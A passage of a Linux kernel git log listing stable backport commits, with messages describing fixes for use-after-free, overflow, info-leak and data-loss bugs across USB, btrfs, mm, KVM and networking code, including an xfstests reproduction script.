->follow_link()/->put_link() resp. Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1b46f1022365446214af183cff2c8eb3bf2c702 Author: Al Viro Date: Sat Feb 21 22:05:11 2015 -0500 debugfs: leave freeing a symlink body until inode eviction commit 0db59e59299f0b67450c5db21f7f316c8fb04e84 upstream. As it is, we have debugfs_remove() racing with symlink traversals. Supply ->evict_inode() and do freeing there - inode will remain pinned until we are done with the symlink body. And rip the idiocy with checking if dentry is positive right after we'd verified debugfs_positive(), which is a stronger check... Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 842f9c5c52fa52d608a723630b9c7c82de433bc3 Author: Al Viro Date: Sat Feb 21 22:19:57 2015 -0500 autofs4 copy_dev_ioctl(): keep the value of ->size we'd used for allocation commit 0a280962dc6e117e0e4baa668453f753579265d9 upstream. X-Coverup: just ask spender Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dab058541050ff5ed152b86200b76ff90fee714b Author: Johan Hovold Date: Wed Feb 18 10:34:50 2015 +0700 USB: serial: fix potential use-after-free after failed probe commit 07fdfc5e9f1c966be8722e8fa927e5ea140df5ce upstream. Fix return value in probe error path, which could end up returning success (0) on errors. This could in turn lead to use-after-free or double free (e.g. in port_remove) when the port device is removed. Fixes: c706ebdfc895 ("USB: usb-serial: call port_probe and port_remove at the right times") Signed-off-by: Johan Hovold Acked-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6b6ef1a7964d2c1ea1399881f801349978375f56 Author: Johan Hovold Date: Wed Mar 4 10:39:06 2015 +0100 TTY: fix tty_wait_until_sent on 64-bit machines commit 79fbf4a550ed6a22e1ae1516113e6c7fa5d56a53 upstream. Fix overflow bug in tty_wait_until_sent on 64-bit machines, where an infinite timeout (0) would be passed to the underlying tty-driver's wait_until_sent-operation as a negative timeout (-1), causing it to return immediately. This manifests itself for example as tcdrain() returning immediately, drivers not honouring the drain flags when setting terminal attributes, or even dropped data on close as a requested infinite closing-wait timeout would be ignored. The first symptom was reported by Asier LLANO who noted that tcdrain() returned prematurely when using the ftdi_sio usb-serial driver. Fix this by passing 0 rather than MAX_SCHEDULE_TIMEOUT (LONG_MAX) to the underlying tty driver. Note that the serial-core wait_until_sent-implementation is not affected by this bug due to a lucky chance (comparison to an unsigned maximum timeout), and neither is the cyclades one that had an explicit check for negative timeouts, but all other tty drivers appear to be affected. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Reported-by: ZIV-Asier Llano Palacios Signed-off-by: Johan Hovold Reviewed-by: Peter Hurley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a45199e0441fd9f6e83f60ea6710e67b9a902da3 Author: Johan Hovold Date: Wed Mar 4 10:39:05 2015 +0100 USB: serial: fix infinite wait_until_sent timeout commit f528bf4f57e43d1af4b2a5c97f09e43e0338c105 upstream. Make sure to handle an infinite timeout (0). Note that wait_until_sent is currently never called with a 0-timeout argument due to a bug in tty_wait_until_sent. Fixes: dcf010503966 ("USB: serial: add generic wait_until_sent implementation") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aca3318e4a56ce44bc9a7e79c97a5350fd922efa Author: Johan Hovold Date: Wed Mar 4 10:39:03 2015 +0100 net: irda: fix wait_until_sent poll timeout commit 2c3fbe3cf28fbd7001545a92a83b4f8acfd9fa36 upstream. In case an infinite timeout (0) is requested, the irda wait_until_sent implementation would use a zero poll timeout rather than the default 200ms. Note that wait_until_sent is currently never called with a 0-timeout argument due to a bug in tty_wait_until_sent. Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25389899f8e45cf2d675763b0c2a4adf0dd477e5 Author: Aleksander Morgado Date: Fri Mar 6 17:14:21 2015 +0200 xhci: fix reporting of 0-sized URBs in control endpoint commit 45ba2154d12fc43b70312198ec47085f10be801a upstream. When a control transfer has a short data stage, the xHCI controller generates two transfer events: a COMP_SHORT_TX event that specifies the untransferred amount, and a COMP_SUCCESS event. But when the data stage is not short, only the COMP_SUCCESS event occurs. Therefore, xhci-hcd must set urb->actual_length to urb->transfer_buffer_length while processing the COMP_SUCCESS event, unless urb->actual_length was set already by a previous COMP_SHORT_TX event. The driver checks this by seeing whether urb->actual_length == 0, but this alone is the wrong test, as it is entirely possible for a short transfer to have an urb->actual_length = 0. This patch changes the xhci driver to rely on a new td->urb_length_set flag, which is set to true when a COMP_SHORT_TX event is received and the URB length updated at that stage. This fixes a bug which affected the HSO plugin, which relies on URBs with urb->actual_length == 0 to halt re-submitting the RX URB in the control endpoint. Signed-off-by: Aleksander Morgado Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ee306e63f3e74a04281921e67b175d8d93e2bf6 Author: Mathias Nyman Date: Tue Feb 24 18:27:01 2015 +0200 xhci: Allocate correct amount of scratchpad buffers commit 6596a926b0b6c80b730a1dd2fa91908e0a539c37 upstream. Include the high order bit fields for Max scratchpad buffers when calculating how many scratchpad buffers are needed. I'm suprised this hasn't caused more issues, we never allocated more than 32 buffers even if xhci needed more. Either we got lucky and xhci never really used past that area, or then we got enough zeroed dma memory anyway. Should be backported as far back as possible Reported-by: Tim Chen Tested-by: Tim Chen Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 482b59c8ba673cfd67d0b0ee9e8c30714575f4b0 Author: Max Mansfield Date: Mon Mar 2 18:38:02 2015 -0700 usb: ftdi_sio: Add jtag quirk support for Cyber Cortex AV boards commit c7d373c3f0da2b2b78c4b1ce5ae41485b3ef848c upstream. This patch integrates Cyber Cortex AV boards with the existing ftdi_jtag_quirk in order to use serial port 0 with JTAG which is required by the manufacturers' software. Steps: 2 [ftdi_sio_ids.h] 1. Defined the device PID [ftdi_sio.c] 2. Added a macro declaration to the ids array, in order to enable the jtag quirk for the device. Signed-off-by: Max Mansfield Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fcc45f37bbddeb2dadea9168951859ceee95a52f Author: Alan Stern Date: Fri Feb 13 10:54:53 2015 -0500 USB: usbfs: don't leak kernel data in siginfo commit f0c2b68198589249afd2b1f2c4e8de8c03e19c16 upstream. When a signal is delivered, the information in the siginfo structure is copied to userspace. Good security practice dicatates that the unused fields in this structure should be initialized to 0 so that random kernel stack data isn't exposed to the user. This patch adds such an initialization to the two places where usbfs raises signals. Signed-off-by: Alan Stern Reported-by: Dave Mielke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5cc3392939911abad2c81c0a80464a2b57aa7302 Author: Michiel vd Garde Date: Fri Feb 27 02:08:29 2015 +0100 USB: serial: cp210x: Adding Seletek device id's commit 675af70856d7cc026be8b6ea7a8b9db10b8b38a1 upstream. These device ID's are not associated with the cp210x module currently, but should be. This patch allows the devices to operate upon connecting them to the usb bus as intended. Signed-off-by: Michiel van de Garde Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 587d1a9ff9cf657309c4efc796bad9d9006d4764 Author: James Hogan Date: Tue Feb 24 11:46:20 2015 +0000 KVM: MIPS: Fix trace event to save PC directly commit b3cffac04eca9af46e1e23560a8ee22b1bd36d43 upstream. Currently the guest exit trace event saves the VCPU pointer to the structure, and the guest PC is retrieved by dereferencing it when the event is printed rather than directly from the trace record. This isn't safe as the printing may occur long afterwards, after the PC has changed and potentially after the VCPU has been freed. Usually this results in the same (wrong) PC being printed for multiple trace events. It also isn't portable as userland has no way to access the VCPU data structure when interpreting the trace record itself. Lets save the actual PC in the structure so that the correct value is accessible later. Fixes: 669e846e6c4e ("KVM/MIPS32: MIPS arch specific APIs for KVM") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: Ralf Baechle Cc: Marcelo Tosatti Cc: Gleb Natapov Cc: Steven Rostedt Cc: Ingo Molnar Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Acked-by: Steven Rostedt Signed-off-by: Marcelo Tosatti Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da952f2e534029bc808656c4238bfaa32e50deeb Author: Paolo Bonzini Date: Thu Feb 12 17:04:47 2015 +0100 KVM: emulate: fix CMPXCHG8B on 32-bit hosts commit 4ff6f8e61eb7f96d3ca535c6d240f863ccd6fb7d upstream. This has been broken for a long time: it broke first in 2.6.35, then was almost fixed in 2.6.36 but this one-liner slipped through the cracks. The bug shows up as an infinite loop in Windows 7 (and newer) boot on 32-bit hosts without EPT. Windows uses CMPXCHG8B to write to page tables, which causes a page fault if running without EPT; the emulator is then called from kvm_mmu_page_fault. The loop then happens if the higher 4 bytes are not 0; the common case for this is that the NX bit (bit 63) is 1. Fixes: 6550e1f165f384f3a46b60a1be9aba4bc3c2adad Fixes: 16518d5ada690643453eb0aef3cc7841d3623c2d Reported-by: Erik Rull Tested-by: Erik Rull Signed-off-by: Paolo Bonzini Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e6657d878b0e9cb2d498375b21959f3b946839f7 Author: Quentin Casasnovas Date: Tue Mar 3 16:31:38 2015 +0100 Btrfs:__add_inode_ref: out of bounds memory read when looking for extended ref. commit dd9ef135e3542ffc621c4eb7f0091870ec7a1504 upstream. Improper arithmetics when calculting the address of the extended ref could lead to an out of bounds memory read and kernel panic. Signed-off-by: Quentin Casasnovas Reviewed-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ef56e2141712f2255b992f804924ad1e163f249d Author: Filipe Manana Date: Sun Mar 1 20:36:00 2015 +0000 Btrfs: fix data loss in the fast fsync path commit 3a8b36f378060d20062a0918e99fae39ff077bf0 upstream. When using the fast file fsync code path we can miss the fact that new writes happened since the last file fsync and therefore return without waiting for the IO to finish and write the new extents to the fsync log. Here's an example scenario where the fsync will miss the fact that new file data exists that wasn't yet durably persisted: 1. fs_info->last_trans_committed == N - 1 and current transaction is transaction N (fs_info->generation == N); 2. do a buffered write; 3. fsync our inode, this clears our inode's full sync flag, starts an ordered extent and waits for it to complete - when it completes at btrfs_finish_ordered_io(), the inode's last_trans is set to the value N (via btrfs_update_inode_fallback -> btrfs_update_inode -> btrfs_set_inode_last_trans); 4. transaction N is committed, so fs_info->last_trans_committed is now set to the value N and fs_info->generation remains with the value N; 5. do another buffered write, when this happens btrfs_file_write_iter sets our inode's last_trans to the value N + 1 (that is fs_info->generation + 1 == N + 1); 6. transaction N + 1 is started and fs_info->generation now has the value N + 1; 7. transaction N + 1 is committed, so fs_info->last_trans_committed is set to the value N + 1; 8. fsync our inode - because it doesn't have the full sync flag set, we only start the ordered extent, we don't wait for it to complete (only in a later phase) therefore its last_trans field has the value N + 1 set previously by btrfs_file_write_iter(), and so we have: inode->last_trans <= fs_info->last_trans_committed (N + 1) (N + 1) Which made us not log the last buffered write and exit the fsync handler immediately, returning success (0) to user space and resulting in data loss after a crash. This can actually be triggered deterministically and the following excerpt from a testcase I made for xfstests triggers the issue. It moves a dummy file across directories and then fsyncs the old parent directory - this is just to trigger a transaction commit, so moving files around isn't directly related to the issue but it was chosen because running 'sync' for example does more than just committing the current transaction, as it flushes/waits for all file data to be persisted. The issue can also happen at random periods, since the transaction kthread periodicaly commits the current transaction (about every 30 seconds by default). The body of the test is: _scratch_mkfs >> $seqres.full 2>&1 _init_flakey _mount_flakey # Create our main test file 'foo', the one we check for data loss. # By doing an fsync against our file, it makes btrfs clear the 'needs_full_sync' # bit from its flags (btrfs inode specific flags). $XFS_IO_PROG -f -c "pwrite -S 0xaa 0 8K" \ -c "fsync" $SCRATCH_MNT/foo | _filter_xfs_io # Now create one other file and 2 directories. We will move this second file # from one directory to the other later because it forces btrfs to commit its # currently open transaction if we fsync the old parent directory. This is # necessary to trigger the data loss bug that affected btrfs. mkdir $SCRATCH_MNT/testdir_1 touch $SCRATCH_MNT/testdir_1/bar mkdir $SCRATCH_MNT/testdir_2 # Make sure everything is durably persisted. sync # Write more 8Kb of data to our file. $XFS_IO_PROG -c "pwrite -S 0xbb 8K 8K" $SCRATCH_MNT/foo | _filter_xfs_io # Move our 'bar' file into a new directory. mv $SCRATCH_MNT/testdir_1/bar $SCRATCH_MNT/testdir_2/bar # Fsync our first directory. Because it had a file moved into some other # directory, this made btrfs commit the currently open transaction. This is # a condition necessary to trigger the data loss bug. $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/testdir_1 # Now fsync our main test file. If the fsync succeeds, we expect the 8Kb of # data we wrote previously to be persisted and available if a crash happens. # This did not happen with btrfs, because of the transaction commit that # happened when we fsynced the parent directory. $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foo # Simulate a crash/power loss. _load_flakey_table $FLAKEY_DROP_WRITES _unmount_flakey _load_flakey_table $FLAKEY_ALLOW_WRITES _mount_flakey # Now check that all data we wrote before are available. echo "File content after log replay:" od -t x1 $SCRATCH_MNT/foo status=0 exit The expected golden output for the test, which is what we get with this fix applied (or when running against ext3/4 and xfs), is: wrote 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 8192/8192 bytes at offset 8192 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) File content after log replay: 0000000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa * 0020000 bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb bb * 0040000 Without this fix applied, the output shows the test file does not have the second 8Kb extent that we successfully fsynced: wrote 8192/8192 bytes at offset 0 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) wrote 8192/8192 bytes at offset 8192 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) File content after log replay: 0000000 aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa aa * 0020000 So fix this by skipping the fsync only if we're doing a full sync and if the inode's last_trans is <= fs_info->last_trans_committed, or if the inode is already in the log. Also remove setting the inode's last_trans in btrfs_file_write_iter since it's useless/unreliable. Also because btrfs_file_write_iter no longer sets inode->last_trans to fs_info->generation + 1, don't set last_trans to 0 if we bail out and don't bail out if last_trans is 0, otherwise something as simple as the following example wouldn't log the second write on the last fsync: 1. write to file 2. fsync file 3. fsync file |--> btrfs_inode_in_log() returns true and it set last_trans to 0 4. write to file |--> btrfs_file_write_iter() no longers sets last_trans, so it remained with a value of 0 5. fsync |--> inode->last_trans == 0, so it bails out without logging the second write A test case for xfstests will be sent soon. Signed-off-by: Filipe Manana Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2cbd1f8ecb4e152c0ee752f0b6bafb396e1eeab Author: David Sterba Date: Tue Feb 24 18:57:18 2015 +0100 btrfs: fix lost return value due to variable shadowing commit 1932b7be973b554ffe20a5bba6ffaed6fa995cdc upstream. A block-local variable stores error code but btrfs_get_blocks_direct may not return it in the end as there's a ret defined in the function scope. Fixes: d187663ef24c ("Btrfs: lock extents as we map them in DIO") Signed-off-by: David Sterba Signed-off-by: Chris Mason Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86cd398f6c380472153202f5ec0681380f9a3347 Author: Rasmus Villemoes Date: Fri Jan 23 00:34:02 2015 +0100 iio: imu: adis16400: Fix sign extension commit 19e353f2b344ad86cea6ebbc0002e5f903480a90 upstream. The intention is obviously to sign-extend a 12 bit quantity. But because of C's promotion rules, the assignment is equivalent to "val16 &= 0xfff;". Use the proper API for this. Signed-off-by: Rasmus Villemoes Acked-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 931248b8e883b6afba1270c0aec27f34b5d9decb Author: Andy Lutomirski Date: Thu Mar 5 01:09:44 2015 +0100 x86/asm/entry/64: Remove a bogus 'ret_from_fork' optimization commit 956421fbb74c3a6261903f3836c0740187cf038b upstream. 'ret_from_fork' checks TIF_IA32 to determine whether 'pt_regs' and the related state make sense for 'ret_from_sys_call'. This is entirely the wrong check. TS_COMPAT would make a little more sense, but there's really no point in keeping this optimization at all. This fixes a return to the wrong user CS if we came from int 0x80 in a 64-bit task. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Oleg Nesterov Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/4710be56d76ef994ddf59087aad98c000fbab9a4.1424989793.git.luto@amacapital.net [ Backported from tip:x86/asm. ] Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 963b4a265a4f8056f4cb9973a715c780b5f723e8 Author: Nicholas Bellinger Date: Fri Feb 13 22:27:40 2015 +0000 target: Check for LBA + sectors wrap-around in sbc_parse_cdb commit aa179935edea9a64dec4b757090c8106a3907ffa upstream. This patch adds a check to sbc_parse_cdb() in order to detect when an LBA + sector vs. end-of-device calculation wraps when the LBA is sufficently large enough (eg: 0xFFFFFFFFFFFFFFFF). Cc: Martin Petersen Cc: Christoph Hellwig Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf5db9e0013623d381c94e9093d3b997b0a69f16 Author: Grazvydas Ignotas Date: Thu Feb 12 15:00:19 2015 -0800 mm/memory.c: actually remap enough memory commit 9cb12d7b4ccaa976f97ce0c5fd0f1b6a83bc2a75 upstream. For whatever reason, generic_access_phys() only remaps one page, but actually allows to access arbitrary size. It's quite easy to trigger large reads, like printing out large structure with gdb, which leads to a crash. Fix it by remapping correct size. Fixes: 28b2ee20c7cb ("access_process_vm device memory infrastructure") Signed-off-by: Grazvydas Ignotas Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a89e4590ce9f75414197fa75211d35d7f6458f1c Author: Joonsoo Kim Date: Thu Feb 12 14:59:50 2015 -0800 mm/compaction: fix wrong order check in compact_finished() commit 372549c2a3778fd3df445819811c944ad54609ca upstream. What we want to check here is whether there is highorder freepage in buddy list of other migratetype in order to steal it without fragmentation. But, current code just checks cc->order which means allocation request order. So, this is wrong. Without this fix, non-movable synchronous compaction below pageblock order would not stopped until compaction is complete, because migratetype of most pageblocks are movable and high order freepage made by compaction is usually on movable type buddy list. There is some report related to this bug. See below link. http://www.spinics.net/lists/linux-mm/msg81666.html Although the issued system still has load spike comes from compaction, this makes that system completely stable and responsive according to his report. stress-highalloc test in mmtests with non movable order 7 allocation doesn't show any notable difference in allocation success rate, but, it shows more compaction success rate. Compaction success rate (Compaction success * 100 / Compaction stalls, %) 18.47 : 28.94 Fixes: 1fb3f8ca0e92 ("mm: compaction: capture a suitable high-order page immediately when it is made available") Signed-off-by: Joonsoo Kim Acked-by: Vlastimil Babka Reviewed-by: Zhang Yanfei Cc: Mel Gorman Cc: David Rientjes Cc: Rik van Riel Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit be614ff802b4480a9dfa6ae7741d3655f205e953 Author: Roman Gushchin Date: Wed Feb 11 15:28:42 2015 -0800 mm/nommu.c: fix arithmetic overflow in __vm_enough_memory() commit 8138a67a5557ffea3a21dfd6f037842d4e748513 upstream. I noticed that "allowed" can easily overflow by falling below 0, because (total_vm / 32) can be larger than "allowed". The problem occurs in OVERCOMMIT_NONE mode. In this case, a huge allocation can success and overcommit the system (despite OVERCOMMIT_NONE mode). All subsequent allocations will fall (system-wide), so system become unusable. The problem was masked out by commit c9b1d0981fcc ("mm: limit growth of 3% hardcoded other user reserve"), but it's easy to reproduce it on older kernels: 1) set overcommit_memory sysctl to 2 2) mmap() large file multiple times (with VM_SHARED flag) 3) try to malloc() large amount of memory It also can be reproduced on newer kernels, but miss-configured sysctl_user_reserve_kbytes is required. Fix this issue by switching to signed arithmetic here. Signed-off-by: Roman Gushchin Cc: Andrew Shewmaker Cc: Rik van Riel Cc: Konstantin Khlebnikov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c96538429a1558a9c42b5a454cc52da52768f457 Author: Roman Gushchin Date: Wed Feb 11 15:28:39 2015 -0800 mm/mmap.c: fix arithmetic overflow in __vm_enough_memory() commit 5703b087dc8eaf47bfb399d6cf512d471beff405 upstream. I noticed, that "allowed" can easily overflow by falling below 0, because (total_vm / 32) can be larger than "allowed". The problem occurs in OVERCOMMIT_NONE mode. In this case, a huge allocation can success and overcommit the system (despite OVERCOMMIT_NONE mode). All subsequent allocations will fall (system-wide), so system become unusable. The problem was masked out by commit c9b1d0981fcc ("mm: limit growth of 3% hardcoded other user reserve"), but it's easy to reproduce it on older kernels: 1) set overcommit_memory sysctl to 2 2) mmap() large file multiple times (with VM_SHARED flag) 3) try to malloc() large amount of memory It also can be reproduced on newer kernels, but miss-configured sysctl_user_reserve_kbytes is required. Fix this issue by switching to signed arithmetic here. [akpm@linux-foundation.org: use min_t] Signed-off-by: Roman Gushchin Cc: Andrew Shewmaker Cc: Rik van Riel Cc: Konstantin Khlebnikov Reviewed-by: Michal Hocko Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95ca3d819da5a23d283a4fd7b27da8ecf5735231 Author: Naoya Horiguchi Date: Wed Feb 11 15:25:32 2015 -0800 mm/hugetlb: add migration entry check in __unmap_hugepage_range commit 9fbc1f635fd0bd28cb32550211bf095753ac637a upstream. If __unmap_hugepage_range() tries to unmap the address range over which hugepage migration is on the way, we get the wrong page because pte_page() doesn't work for migration entries. This patch simply clears the pte for migration entries as we do for hwpoison entries. Fixes: 290408d4a2 ("hugetlb: hugepage migration core") Signed-off-by: Naoya Horiguchi Cc: Hugh Dickins Cc: James Hogan Cc: David Rientjes Cc: Mel Gorman Cc: Johannes Weiner Cc: Michal Hocko Cc: Rik van Riel Cc: Andrea Arcangeli Cc: Luiz Capitulino Cc: Nishanth Aravamudan Cc: Lee Schermerhorn Cc: Steve Capper Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c630e05c28f49b9d0241431d54228d7ff6b62597 Author: Jiri Pirko Date: Wed Mar 4 08:36:31 2015 +0100 team: don't traverse port list using rcu in team_set_mac_address [ Upstream commit 9215f437b85da339a7dfe3db6e288637406f88b2 ] Currently the list is traversed using rcu variant. That is not correct since dev_set_mac_address can be called which eventually calls rtmsg_ifinfo_build_skb and there, skb allocation can sleep. So fix this by remove the rcu usage here. Fixes: 3d249d4ca7 "net: introduce ethernet teaming device" Signed-off-by: Jiri Pirko Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a4ab3bedfbb93e0522895e4252563a002cca3558 Author: Michal KubeÄek Date: Mon Mar 2 18:27:11 2015 +0100 udp: only allow UFO for packets from SOCK_DGRAM sockets [ Upstream commit acf8dd0a9d0b9e4cdb597c2f74802f79c699e802 ] If an over-MTU UDP datagram is sent through a SOCK_RAW socket to a UFO-capable device, ip_ufo_append_data() sets skb->ip_summed to CHECKSUM_PARTIAL unconditionally as all GSO code assumes transport layer checksum is to be computed on segmentation. However, in this case, skb->csum_start and skb->csum_offset are never set as raw socket transmit path bypasses udp_send_skb() where they are usually set. As a result, driver may access invalid memory when trying to calculate the checksum and store the result (as observed in virtio_net driver). Moreover, the very idea of modifying the userspace provided UDP header is IMHO against raw socket semantics (I wasn't able to find a document clearly stating this or the opposite, though). And while allowing CHECKSUM_NONE in the UFO case would be more efficient, it would be a bit too intrusive change just to handle a corner case like this. Therefore disallowing UFO for packets from SOCK_DGRAM seems to be the best option. Signed-off-by: Michal Kubecek Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ec0ef968ff797d0cefee89ffde4b0b051eac0716 Author: Ben Shelton Date: Mon Feb 16 13:47:06 2015 -0600 usb: plusb: Add support for National Instruments host-to-host cable [ Upstream commit 42c972a1f390e3bc51ca1e434b7e28764992067f ] The National Instruments USB Host-to-Host Cable is based on the Prolific PL-25A1 chipset. Add its VID/PID so the plusb driver will recognize it. Signed-off-by: Ben Shelton Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2ef982982bed1fe71d4cf1a57ceb38a2e3a59133 Author: Eric Dumazet Date: Fri Feb 27 18:35:35 2015 -0800 macvtap: make sure neighbour code can push ethernet header [ Upstream commit 2f1d8b9e8afa5a833d96afcd23abcb8cdf8d83ab ] Brian reported crashes using IPv6 traffic with macvtap/veth combo. I tracked the crashes in neigh_hh_output() -> memcpy(skb->data - HH_DATA_MOD, hh->hh_data, HH_DATA_MOD); Neighbour code assumes headroom to push Ethernet header is at least 16 bytes. It appears macvtap has only 14 bytes available on arches where NET_IP_ALIGN is 0 (like x86) Effect is a corruption of 2 bytes right before skb->head, and possible crashes if accessing non existing memory. This fix should also increase IPv4 performance, as paranoid code in ip_finish_output2() wont have to call skb_realloc_headroom() Reported-by: Brian Rak Tested-by: Brian Rak Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ab74e5dd16e8e83dd07c3fcb9cb25d596df8c1bc Author: Catalin Marinas Date: Mon Feb 23 18:12:56 2015 +0000 net: compat: Ignore MSG_CMSG_COMPAT in compat_sys_{send, recv}msg [ Upstream commit d720d8cec563ce4e4fa44a613d4f2dcb1caf2998 ] With commit a7526eb5d06b (net: Unbreak compat_sys_{send,recv}msg), the MSG_CMSG_COMPAT flag is blocked at the compat syscall entry points, changing the kernel compat behaviour from the one before the commit it was trying to fix (1be374a0518a, net: Block MSG_CMSG_COMPAT in send(m)msg and recv(m)msg). On 32-bit kernels (!CONFIG_COMPAT), MSG_CMSG_COMPAT is 0 and the native 32-bit sys_sendmsg() allows flag 0x80000000 to be set (it is ignored by the kernel). However, on a 64-bit kernel, the compat ABI is different with commit a7526eb5d06b. This patch changes the compat_sys_{send,recv}msg behaviour to the one prior to commit 1be374a0518a. The problem was found running 32-bit LTP (sendmsg01) binary on an arm64 kernel. Arguably, LTP should not pass 0xffffffff as flags to sendmsg() but the general rule is not to break user ABI (even when the user behaviour is not entirely sane). Fixes: a7526eb5d06b (net: Unbreak compat_sys_{send,recv}msg) Cc: Andy Lutomirski Cc: David S. Miller Signed-off-by: Catalin Marinas Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92beb790e53d01e6a27bd5bbabfb7fd1ac10652e Author: Jiri Pirko Date: Mon Feb 23 14:02:54 2015 +0100 team: fix possible null pointer dereference in team_handle_frame [ Upstream commit 57e595631904c827cfa1a0f7bbd7cc9a49da5745 ] Currently following race is possible in team: CPU0 CPU1 team_port_del team_upper_dev_unlink priv_flags &= ~IFF_TEAM_PORT team_handle_frame team_port_get_rcu team_port_exists priv_flags & IFF_TEAM_PORT == 0 return NULL (instead of port got from rx_handler_data) netdev_rx_handler_unregister The thing is that the flag is removed before rx_handler is unregistered. If team_handle_frame is called in between, team_port_exists returns 0 and team_port_get_rcu will return NULL. So do not check the flag here. It is guaranteed by netdev_rx_handler_unregister that team_handle_frame will always see valid rx_handler_data pointer. Signed-off-by: Jiri Pirko Fixes: 3d249d4ca7d0 ("net: introduce ethernet teaming device") Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6268683830bda32c2a5eb46c2413dcd34994f8d7 Author: Matthew Thode Date: Tue Feb 17 18:31:57 2015 -0600 net: reject creation of netdev names with colons [ Upstream commit a4176a9391868bfa87705bcd2e3b49e9b9dd2996 ] colons are used as a separator in netdev device lookup in dev_ioctl.c Specific functions are SIOCGIFTXQLEN SIOCETHTOOL SIOCSIFNAME Signed-off-by: Matthew Thode Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b3d55b2b78186102cea58472301b3d81424a69cc Author: Ignacy GawÄ™dzki Date: Tue Feb 17 20:15:20 2015 +0100 ematch: Fix auto-loading of ematch modules. [ Upstream commit 34eea79e2664b314cab6a30fc582fdfa7a1bb1df ] In tcf_em_validate(), after calling request_module() to load the kind-specific module, set em->ops to NULL before returning -EAGAIN, so that module_put() is not called again by tcf_em_tree_destroy(). Signed-off-by: Ignacy GawÄ™dzki Acked-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 85a00b3e37d22e5a30670fb257f19b4d44de205b Author: Guenter Roeck Date: Tue Feb 17 09:36:22 2015 -0800 net: phy: Fix verification of EEE support in phy_init_eee [ Upstream commit 54da5a8be3c1e924c35480eb44c6e9b275f6444e ] phy_init_eee uses phy_find_setting(phydev->speed, phydev->duplex) to find a valid entry in the settings array for the given speed and duplex value. For full duplex 1000baseT, this will return the first matching entry, which is the entry for 1000baseKX_Full. If the phy eee does not support 1000baseKX_Full, this entry will not match, causing phy_init_eee to fail for no good reason. Fixes: 9a9c56cb34e6 ("net: phy: fix a bug when verify the EEE support") Fixes: 3e7077067e80c ("phy: Expand phy speed/duplex settings array") Cc: Giuseppe Cavallaro Signed-off-by: Guenter 